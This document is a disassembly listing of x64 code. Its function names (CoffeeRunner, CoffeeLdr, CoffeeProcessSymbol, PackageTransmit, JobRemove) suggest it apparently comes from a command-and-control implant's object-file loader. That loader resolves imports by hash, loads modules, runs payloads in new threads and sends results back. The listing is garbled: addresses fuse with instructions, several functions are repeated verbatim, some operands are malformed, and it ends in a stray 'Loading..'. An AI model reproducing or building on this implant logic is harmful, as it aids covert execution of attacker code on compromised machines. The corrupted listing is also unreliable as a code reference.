1400096d2jne 0x140009742
1400096d4mov eax, [rbx]
1400096d6sub rsi, rbx
1400096d9lea eax, [rax+rsi-8]
1400096ddjmp 0x14000970b
1400096df
1400096dfloc_1400096df:
1400096dfcmp r9w, 9
1400096e4jne 0x1400096f6
1400096e6test rax, rax
1400096e9jne 0x14000974a
1400096ebmov eax, [rbx]
1400096edsub rsi, rbx
1400096f0lea eax, [rax+rsi-9]
1400096f4jmp 0x14000970b
1400096f6
1400096f6loc_1400096f6:
1400096f6cmp r9w, 3
1400096fbjne 0x140009712
1400096fdtest rax, rax
140009700jne 0x140009752
140009702
140009702loc_140009702:
140009702mov eax, [rbx]
140009704sub rsi, rbx
140009707lea eax, [rax+rsi-4]
14000970b
14000970bloc_14000970b:
14000970bmov [rbx], eax
14000970djmp 0x14000979d
140009712
140009712loc_140009712:
140009712cmp r9w, 1
140009717jne 0x140009723
140009719test rax, rax
14000971cjne 0x14000975a
14000971eadd [rbx], rsi
140009721jmp 0x14000979d
140009723
140009723loc_140009723:
140009723test rax, rax
140009726je 0x140009780
140009728jmp 0x140009760
14000972a
14000972aloc_14000972a:
14000972amov r9l, 5
140009730jmp 0x140009760
140009732
140009732loc_140009732:
140009732mov r9l, 6
140009738jmp 0x140009760
14000973a
14000973aloc_14000973a:
14000973amov r9l, 7
140009740jmp 0x140009760
140009742
140009742loc_140009742:
140009742mov r9l, 8
140009748jmp 0x140009760
14000974a
14000974aloc_14000974a:
14000974amov r9l, 9
140009750jmp 0x140009760
140009752
140009752loc_140009752:
140009752mov r9l, 3
140009758jmp 0x140009760
14000975a
14000975aloc_14000975a:
14000975amov r9l, 1
140009760
140009760loc_140009760:
140009760mov [rsp+32], rdx
140009765mov r8l, 556
14000976blea rdx, [rip+0x238de]
140009772lea rcx, [rip+0x21cad]
140009779call printf
14000977ejmp 0x140009799
140009780
140009780loc_140009780:
140009780mov r8l, 560
140009786lea rdx, [rip+0x238c3]
14000978dlea rcx, [rip+0x21cd6]
140009794call printf
140009799
140009799loc_140009799:
140009799xor eax, eax
14000979bjmp 0x1400097ba
14000979d
14000979dloc_14000979d:
14000979dmov rax, [rbp+24]
1400097a1inc r10l
1400097a4add rax, 10
1400097a8jmp 0x140009580
1400097ad
1400097adloc_1400097ad:
1400097adinc r12l
1400097b0jmp 0x14000954f
1400097b5
1400097b5loc_1400097b5:
1400097b5mov eax, 1
1400097ba
1400097baloc_1400097ba:
1400097baadd rsp, 104
1400097bepop rbx
1400097bfpop rsi
1400097c0pop rdi
1400097c1pop rbp
1400097c2pop r12
1400097c4pop r13
1400097c6pop r14
1400097c8pop r15
1400097caret
140009500
1400097cb
1400097cb // align 0x10
1400097cb // align 0x10
1400097d0
1400097d0CoffeeProcessSymbol:
1400097d0push r14
1400097d2xor eax, eax
1400097d4push r13
1400097d6mov r13l, r8l
1400097d9xor r8l, r8l
1400097dcpush r12
1400097demov r12, rcx
1400097e1mov ecx, 252
1400097e6push rbp
1400097e7mov rbp, r9
1400097eapush rdi
1400097ebpush rsi
1400097ecpush rbx
1400097edmov rbx, rdx
1400097f0xor edx, edx
1400097f2mov rsi, rbx
1400097f5sub rsp, 2112
1400097fcmov [rsp+64], rax
140009801lea rdi, [rsp+80]
140009806mov [rsp+72], rax
14000980bxor eax, eax
14000980drep stosd [rdi], eax
14000980flea rdi, [rsp+1104]
140009817mov ecx, 252
14000981cmov [rsp+1088], rdx
140009824rep stosd [rdi], eax
140009826mov [rsp+1096], rdx
14000982emov rcx, rbx
140009831mov edx, 12
140009836call HashEx
14000983bxor ecx, ecx
14000983dmov [rbp], rcx
140009841mov r14l, eax
140009844mov [rsp+48], rcx
140009849mov [rsp+56], rcx
14000984emov rcx, rbx
140009851call StringLengthA
140009856lea rdx, [rsp+64]
14000985blea rcx, [rax+1]
14000985fmov rdi, rdx
140009862rep movsb [rdi], [rsi]
140009864cmp r14l, 0xffffffffd0a409b0
14000986bjne 0x1400098a3
14000986dmov r13, [rip+0x22aec]
140009874lea rdi, [rbx+6]
140009878xor r14l, r14l
14000987b
14000987bloc_14000987b:
14000987bmov esi, r14l
14000987eshl rsi, 4
140009882add rsi, r13
140009885cmp [rsi], 0
140009889je 0x1400099da
14000988fmov rcx, rdi
140009892call HashStringA
140009897mov eax, eax
140009899cmp rax, [rsi]
14000989cje 0x1400098fa
14000989einc r14l
1400098a1jmp 0x14000987b
1400098a3
1400098a3loc_1400098a3:
1400098a3mov rcx, rbx
1400098a6call SymbolIsImport
1400098abtest eax, eax
1400098adje 0x140009910
1400098afmov rcx, rbx
1400098b2call SymbolIncludesLibrary
1400098b7test eax, eax
1400098b9jne 0x140009910
1400098bblea r13, [rsp+1088]
1400098c3lea rdx, [rbx+6]
1400098c7xor edi, edi
1400098c9mov rcx, r13
1400098cccall StringCopyA
1400098d1mov r14, [rip+0x22aa8]
1400098d8
1400098d8loc_1400098d8:
1400098d8mov esi, edi
1400098dashl rsi, 4
1400098deadd rsi, r14
1400098e1cmp [rsi], 0
1400098e5je 0x1400099da
1400098ebmov rcx, r13
1400098eecall HashStringA
1400098f3mov eax, eax
1400098f5cmp rax, [rsi]
1400098f8jne 0x14000990c
1400098fa
1400098faloc_1400098fa:
1400098famov rax, [rsi+8]
1400098femov [rbp], rax
140009902
140009902loc_140009902:
140009902mov eax, 1
140009907jmp 0x140009a0e
14000990c
14000990cloc_14000990c:
14000990cinc edi
14000990ejmp 0x1400098d8
140009910
140009910loc_140009910:
140009910mov rcx, rbx
140009913call SymbolIsImport
140009918test eax, eax
14000991aje 0x1400099cf
140009920lea rdx, [rip+0x21948]
140009927lea rcx, [rsp+70]
14000992ccall StringTokenA
140009931mov rsi, rax
140009934mov rcx, rax
140009937call StringLengthA
14000993cmov rcx, rsi
14000993flea rdi, [rsi+rax+1]
140009944call LdrModuleLoad
140009949mov r13, [rip+0x22a20]
140009950test rax, rax
140009953mov r14, rax
140009956jne 0x140009984
140009958mov rax, [r13+2230]
14000995fmov r9, rsi
140009962mov r8l, 167
140009968lea rdx, [rip+0x23a31]
14000996flea rcx, [rip+0x218fb]
140009976mov eax, [rax+104]
140009979mov [rsp+32], eax
14000997dcall printf
140009982jmp 0x1400099da
140009984
140009984loc_140009984:
140009984lea rsi, [rsp+1088]
14000998cmov rdx, rdi
14000998fmov rcx, rsi
140009992call StringCopyA
140009997mov rcx, rsi
14000999acall StringLengthA
14000999fxor r8l, r8l
1400099a2mov [rsp+56], rsi
1400099a7mov r9, rbp
1400099aamov [rsp+48], ax
1400099afinc eax
1400099b1lea rdx, [rsp+48]
1400099b6mov rcx, r14
1400099b9mov [rsp+50], ax
1400099becall [r13+308]
1400099c5test eax, eax
1400099c7jns 0x140009902
1400099cdjmp 0x1400099da
1400099cf
1400099cfloc_1400099cf:
1400099cfcmp r13w, 32
1400099d4jne 0x140009902
1400099da
1400099daloc_1400099da:
1400099damov edx, [r12+56]
1400099dfmov ecx, 20
1400099e4call PackageCreateWithRequestID
1400099e9mov edx, 2
1400099eemov rsi, rax
1400099f1mov rcx, rax
1400099f4call PackageAddInt32
1400099f9mov rdx, rbx
1400099fcmov rcx, rsi
1400099ffcall PackageAddString
140009a04mov rcx, rsi
140009a07call PackageTransmit
140009a0cxor eax, eax
140009a0e
140009a0eloc_140009a0e:
140009a0eadd rsp, 2112
140009a15pop rbx
140009a16pop rsi
140009a17pop rdi
140009a18pop rbp
140009a19pop r12
140009a1bpop r13
140009a1dpop r14
140009a1fret
1400097d0
1400097d0CoffeeProcessSymbol:
1400097d0push r14
1400097d2xor eax, eax
1400097d4push r13
1400097d6mov r13l, r8l
1400097d9xor r8l, r8l
1400097dcpush r12
1400097demov r12, rcx
1400097e1mov ecx, 252
1400097e6push rbp
1400097e7mov rbp, r9
1400097eapush rdi
1400097ebpush rsi
1400097ecpush rbx
1400097edmov rbx, rdx
1400097f0xor edx, edx
1400097f2mov rsi, rbx
1400097f5sub rsp, 2112
1400097fcmov [rsp+64], rax
140009801lea rdi, [rsp+80]
140009806mov [rsp+72], rax
14000980bxor eax, eax
14000980drep stosd [rdi], eax
14000980flea rdi, [rsp+1104]
140009817mov ecx, 252
14000981cmov [rsp+1088], rdx
140009824rep stosd [rdi], eax
140009826mov [rsp+1096], rdx
14000982emov rcx, rbx
140009831mov edx, 12
140009836call HashEx
14000983bxor ecx, ecx
14000983dmov [rbp], rcx
140009841mov r14l, eax
140009844mov [rsp+48], rcx
140009849mov [rsp+56], rcx
14000984emov rcx, rbx
140009851call StringLengthA
140009856lea rdx, [rsp+64]
14000985blea rcx, [rax+1]
14000985fmov rdi, rdx
140009862rep movsb [rdi], [rsi]
140009864cmp r14l, 0xffffffffd0a409b0
14000986bjne 0x1400098a3
14000986dmov r13, [rip+0x22aec]
140009874lea rdi, [rbx+6]
140009878xor r14l, r14l
14000987b
14000987bloc_14000987b:
14000987bmov esi, r14l
14000987eshl rsi, 4
140009882add rsi, r13
140009885cmp [rsi], 0
140009889je 0x1400099da
14000988fmov rcx, rdi
140009892call HashStringA
140009897mov eax, eax
140009899cmp rax, [rsi]
14000989cje 0x1400098fa
14000989einc r14l
1400098a1jmp 0x14000987b
1400098a3
1400098a3loc_1400098a3:
1400098a3mov rcx, rbx
1400098a6call SymbolIsImport
1400098abtest eax, eax
1400098adje 0x140009910
1400098afmov rcx, rbx
1400098b2call SymbolIncludesLibrary
1400098b7test eax, eax
1400098b9jne 0x140009910
1400098bblea r13, [rsp+1088]
1400098c3lea rdx, [rbx+6]
1400098c7xor edi, edi
1400098c9mov rcx, r13
1400098cccall StringCopyA
1400098d1mov r14, [rip+0x22aa8]
1400098d8
1400098d8loc_1400098d8:
1400098d8mov esi, edi
1400098dashl rsi, 4
1400098deadd rsi, r14
1400098e1cmp [rsi], 0
1400098e5je 0x1400099da
1400098ebmov rcx, r13
1400098eecall HashStringA
1400098f3mov eax, eax
1400098f5cmp rax, [rsi]
1400098f8jne 0x14000990c
1400098fa
1400098faloc_1400098fa:
1400098famov rax, [rsi+8]
1400098femov [rbp], rax
140009902
140009902loc_140009902:
140009902mov eax, 1
140009907jmp 0x140009a0e
14000990c
14000990cloc_14000990c:
14000990cinc edi
14000990ejmp 0x1400098d8
140009910
140009910loc_140009910:
140009910mov rcx, rbx
140009913call SymbolIsImport
140009918test eax, eax
14000991aje 0x1400099cf
140009920lea rdx, [rip+0x21948]
140009927lea rcx, [rsp+70]
14000992ccall StringTokenA
140009931mov rsi, rax
140009934mov rcx, rax
140009937call StringLengthA
14000993cmov rcx, rsi
14000993flea rdi, [rsi+rax+1]
140009944call LdrModuleLoad
140009949mov r13, [rip+0x22a20]
140009950test rax, rax
140009953mov r14, rax
140009956jne 0x140009984
140009958mov rax, [r13+2230]
14000995fmov r9, rsi
140009962mov r8l, 167
140009968lea rdx, [rip+0x23a31]
14000996flea rcx, [rip+0x218fb]
140009976mov eax, [rax+104]
140009979mov [rsp+32], eax
14000997dcall printf
140009982jmp 0x1400099da
140009984
140009984loc_140009984:
140009984lea rsi, [rsp+1088]
14000998cmov rdx, rdi
14000998fmov rcx, rsi
140009992call StringCopyA
140009997mov rcx, rsi
14000999acall StringLengthA
14000999fxor r8l, r8l
1400099a2mov [rsp+56], rsi
1400099a7mov r9, rbp
1400099aamov [rsp+48], ax
1400099afinc eax
1400099b1lea rdx, [rsp+48]
1400099b6mov rcx, r14
1400099b9mov [rsp+50], ax
1400099becall [r13+308]
1400099c5test eax, eax
1400099c7jns 0x140009902
1400099cdjmp 0x1400099da
1400099cf
1400099cfloc_1400099cf:
1400099cfcmp r13w, 32
1400099d4jne 0x140009902
1400099da
1400099daloc_1400099da:
1400099damov edx, [r12+56]
1400099dfmov ecx, 20
1400099e4call PackageCreateWithRequestID
1400099e9mov edx, 2
1400099eemov rsi, rax
1400099f1mov rcx, rax
1400099f4call PackageAddInt32
1400099f9mov rdx, rbx
1400099fcmov rcx, rsi
1400099ffcall PackageAddString
140009a04mov rcx, rsi
140009a07call PackageTransmit
140009a0cxor eax, eax
140009a0e
140009a0eloc_140009a0e:
140009a0eadd rsp, 2112
140009a15pop rbx
140009a16pop rsi
140009a17pop rdi
140009a18pop rbp
140009a19pop r12
140009a1bpop r13
140009a1dpop r14
140009a1fret
1400097d0
140009a20
140009a20CoffeeRunner:
140009a20push r15
140009a22push r14
140009a24push r13
140009a26push r12
140009a28push rbp
140009a29mov rbp, r9
140009a2cpush rdi
140009a2dmov edi, edx
140009a2fmov edx, 56
140009a34push rsi
140009a35mov rsi, rcx
140009a38mov ecx, 64
140009a3dpush rbx
140009a3esub rsp, 72
140009a42mov rbx, [rip+0x22927]
140009a49mov [rsp+56], r8
140009a4emov r12, [rsp+184]
140009a56mov r15, [rsp+176]
140009a5emov r14l, [rsp+192]
140009a66call [rbx+932]
140009a6cmov edx, edi
140009a6emov ecx, 64
140009a73mov r13, rax
140009a76mov eax, edi
140009a78mov [rsp+48], rax
140009a7dcall [rbx+932]
140009a83mov rdx, rbp
140009a86mov ecx, 64
140009a8bmov [r13], rax
140009a8fcall [rbx+932]
140009a95mov rdx, r12
140009a98mov ecx, 64
140009a9dmov [r13+16], rax
140009aa1call [rbx+932]
140009aa7mov [r13+8], edi
140009aabmov rcx, [rsp+48]
140009ab0or rdx, -1
140009ab4mov [r13+32], rax
140009ab8mov rdi, [r13]
140009abcxor eax, eax
140009abemov r8l, 1
140009ac4mov [r13+24], rbp
140009ac8lea r9, [rip+161]
140009acfmov [r13+40], r12
140009ad3mov [r13+48], r14l
140009ad7rep movsb [rdi], [rsi]
140009ad9mov rsi, [rsp+56]
140009ademov rcx, rbp
140009ae1mov rdi, [r13+16]
140009ae5rep movsb [rdi], [rsi]
140009ae7mov rsi, r15
140009aeamov rcx, r12
140009aedmov rdi, [r13+32]
140009af1rep movsb [rdi], [rsi]
140009af3mov ecx, 2
140009af8inc [rbx+2238]
140009afemov [rsp+40], rax
140009b03mov [rsp+32], r13
140009b08call ThreadCreate
140009b0dtest rax, rax
140009b10jne 0x140009b5a
140009b12mov rax, [rbx+2230]
140009b19lea rdx, [rip+0x22c50]
140009b20lea rcx, [rip+0x21ab1]
140009b27mov r8l, 822
140009b2dmov r9l, [rax+104]
140009b31call printf
140009b36mov rax, [rbx+2230]
140009b3dmov ecx, 1
140009b42mov edx, [rax+104]
140009b45add rsp, 72
140009b49pop rbx
140009b4apop rsi
140009b4bpop rdi
140009b4cpop rbp
140009b4dpop r12
140009b4fpop r13
140009b51pop r14
140009b53pop r15
140009b55jmp 0x140018dc0
140009b5a
140009b5aloc_140009b5a:
140009b5aadd rsp, 72
140009b5epop rbx
140009b5fpop rsi
140009b60pop rdi
140009b61pop rbp
140009b62pop r12
140009b64pop r13
140009b66pop r14
140009b68pop r15
140009b6aret
140009a20
140009a20CoffeeRunner:
140009a20push r15
140009a22push r14
140009a24push r13
140009a26push r12
140009a28push rbp
140009a29mov rbp, r9
140009a2cpush rdi
140009a2dmov edi, edx
140009a2fmov edx, 56
140009a34push rsi
140009a35mov rsi, rcx
140009a38mov ecx, 64
140009a3dpush rbx
140009a3esub rsp, 72
140009a42mov rbx, [rip+0x22927]
140009a49mov [rsp+56], r8
140009a4emov r12, [rsp+184]
140009a56mov r15, [rsp+176]
140009a5emov r14l, [rsp+192]
140009a66call [rbx+932]
140009a6cmov edx, edi
140009a6emov ecx, 64
140009a73mov r13, rax
140009a76mov eax, edi
140009a78mov [rsp+48], rax
140009a7dcall [rbx+932]
140009a83mov rdx, rbp
140009a86mov ecx, 64
140009a8bmov [r13], rax
140009a8fcall [rbx+932]
140009a95mov rdx, r12
140009a98mov ecx, 64
140009a9dmov [r13+16], rax
140009aa1call [rbx+932]
140009aa7mov [r13+8], edi
140009aabmov rcx, [rsp+48]
140009ab0or rdx, -1
140009ab4mov [r13+32], rax
140009ab8mov rdi, [r13]
140009abcxor eax, eax
140009abemov r8l, 1
140009ac4mov [r13+24], rbp
140009ac8lea r9, [rip+161]
140009acfmov [r13+40], r12
140009ad3mov [r13+48], r14l
140009ad7rep movsb [rdi], [rsi]
140009ad9mov rsi, [rsp+56]
140009ademov rcx, rbp
140009ae1mov rdi, [r13+16]
140009ae5rep movsb [rdi], [rsi]
140009ae7mov rsi, r15
140009aeamov rcx, r12
140009aedmov rdi, [r13+32]
140009af1rep movsb [rdi], [rsi]
140009af3mov ecx, 2
140009af8inc [rbx+2238]
140009afemov [rsp+40], rax
140009b03mov [rsp+32], r13
140009b08call ThreadCreate
140009b0dtest rax, rax
140009b10jne 0x140009b5a
140009b12mov rax, [rbx+2230]
140009b19lea rdx, [rip+0x22c50]
140009b20lea rcx, [rip+0x21ab1]
140009b27mov r8l, 822
140009b2dmov r9l, [rax+104]
140009b31call printf
140009b36mov rax, [rbx+2230]
140009b3dmov ecx, 1
140009b42mov edx, [rax+104]
140009b45add rsp, 72
140009b49pop rbx
140009b4apop rsi
140009b4bpop rdi
140009b4cpop rbp
140009b4dpop r12
140009b4fpop r13
140009b51pop r14
140009b53pop r15
140009b55jmp 0x140018dc0
140009b5a
140009b5aloc_140009b5a:
140009b5aadd rsp, 72
140009b5epop rbx
140009b5fpop rsi
140009b60pop rdi
140009b61pop rbp
140009b62pop r12
140009b64pop r13
140009b66pop r14
140009b68pop r15
140009b6aret
140009a20
140009b6b
140009b6b // align 0x10
140009b6b // align 0x10
140009b70
140009b70CoffeeRunnerThread:
140009b70push rdi
140009b71push rsi
140009b72push rbx
140009b73mov rbx, rcx
140009b76sub rsp, 48
140009b7amov rcx, [rcx]
140009b7dtest rcx, rcx
140009b80je 0x140009b9f
140009b82mov rdx, [rbx+16]
140009b86test rdx, rdx
140009b89je 0x140009b9f
140009b8bmov eax, [rbx+48]
140009b8emov [rsp+32], eax
140009b92mov r9, [rbx+40]
140009b96mov r8, [rbx+32]
140009b9acall CoffeeLdr
140009b9f
140009b9floc_140009b9f:
140009b9fmov rdi, [rbx]
140009ba2mov rsi, [rip+0x227c7]
140009ba9test rdi, rdi
140009bacje 0x140009bc3
140009baemov ecx, [rbx+8]
140009bb1xor eax, eax
140009bb3rep stosb [rdi], al
140009bb5mov rcx, [rbx]
140009bb8call [rsi+940]
140009bbexor ecx, ecx
140009bc0mov [rbx], rcx
140009bc3
140009bc3loc_140009bc3:
140009bc3mov rdi, [rbx+16]
140009bc7test rdi, rdi
140009bcaje 0x140009be4
140009bccmov rcx, [rbx+24]
140009bd0xor eax, eax
140009bd2rep stosb [rdi], al
140009bd4mov rcx, [rbx+16]
140009bd8call [rsi+940]
140009bdexor edx, edx
140009be0mov [rbx+16], rdx
140009be4
140009be4loc_140009be4:
140009be4mov rdi, [rbx+32]
140009be8test rdi, rdi
140009bebje 0x140009c05
140009bedmov rcx, [rbx+40]
140009bf1xor eax, eax
140009bf3rep stosb [rdi], al
140009bf5mov rcx, [rbx+32]
140009bf9call [rsi+940]
140009bffxor eax, eax
140009c01mov [rbx+32], rax
140009c05
140009c05loc_140009c05:
140009c05mov rdi, rbx
140009c08mov ecx, 56
140009c0dxor eax, eax
140009c0frep stosb [rdi], al
140009c11mov rcx, rbx
140009c14call [rsi+940]
140009c1amov rax, [0x30]
140009c23mov ecx, [rax+72]
140009c26call JobRemove
140009c2bdec [rsi+2238]
140009c31mov rax, [rsi+364]
140009c38xor ecx, ecx
140009c3aadd rsp, 48
140009c3epop rbx
140009c3fpop rsi
140009c40pop rdi
140009c41jmp rax
140009b70
140009b70CoffeeRunnerThread:
140009b70push rdi
140009b71push rsi
140009b72push rbx
140009b73mov rbx, rcx
140009b76sub rsp, 48
140009b7amov rcx, [rcx]
140009b7dtest rcx, rcx
140009b80je 0x140009b9f
140009b82mov rdx, [rbx+16]
140009b86test rdx, rdx
140009b89je 0x140009b9f
140009b8bmov eax, [rbx+48]
140009b8emov [rsp+32], eax
140009b92mov r9, [rbx+40]
140009b96mov r8, [rbx+32]
140009b9acall CoffeeLdr
140009b9f
140009b9floc_140009b9f:
140009b9fmov rdi, [rbx]
140009ba2mov rsi, [rip+0x227c7]
140009ba9test rdi, rdi
140009bacje 0x140009bc3
140009baemov ecx, [rbx+8]
140009bb1xor eax, eax
140009bb3rep stosb [rdi], al
140009bb5mov rcx, [rbx]
140009bb8call [rsi+940]
140009bbexor ecx, ecx
140009bc0mov [rbx], rcx
140009bc3
140009bc3loc_140009bc3:
140009bc3mov rdi, [rbx+16]
140009bc7test rdi, rdi
140009bcaje 0x140009be4
140009bccmov rcx, [rbx+24]
140009bd0xor eax, eax
140009bd2rep stosb [rdi], al
140009bd4mov rcx, [rbx+16]
140009bd8call [rsi+940]
140009bdexor edx, edx
140009be0mov [rbx+16], rdx
140009be4
140009be4loc_140009be4:
140009be4mov rdi, [rbx+32]
140009be8test rdi, rdi
140009bebje 0x140009c05
140009bedmov rcx, [rbx+40]
140009bf1xor eax, eax
140009bf3rep stosb [rdi], al
140009bf5mov rcx, [rbx+32]
140009bf9call [rsi+940]
140009bffxor eax, eax
140009c01mov [rbx+32], rax
140009c05
140009c05loc_140009c05:
140009c05mov rdi, rbx
140009c08mov ecx, 56
140009c0dxor eax, eax
140009c0frep stosb [rdi], al
140009c11mov rcx, rbx
140009c14call [rsi+940]
140009c1amov rax, [0x30]
140009c23mov ecx, [rax+72]
140009c26call JobRemove
140009c2bdec [rsi+2238]
140009c31mov rax, [rsi+364]
140009c38xor ecx, ecx
140009c3aadd rsp, 48
140009c3epop rbx
140009c3fpop rsi
140009c40pop rdi
140009c41jmp rax
140009b70
Loading..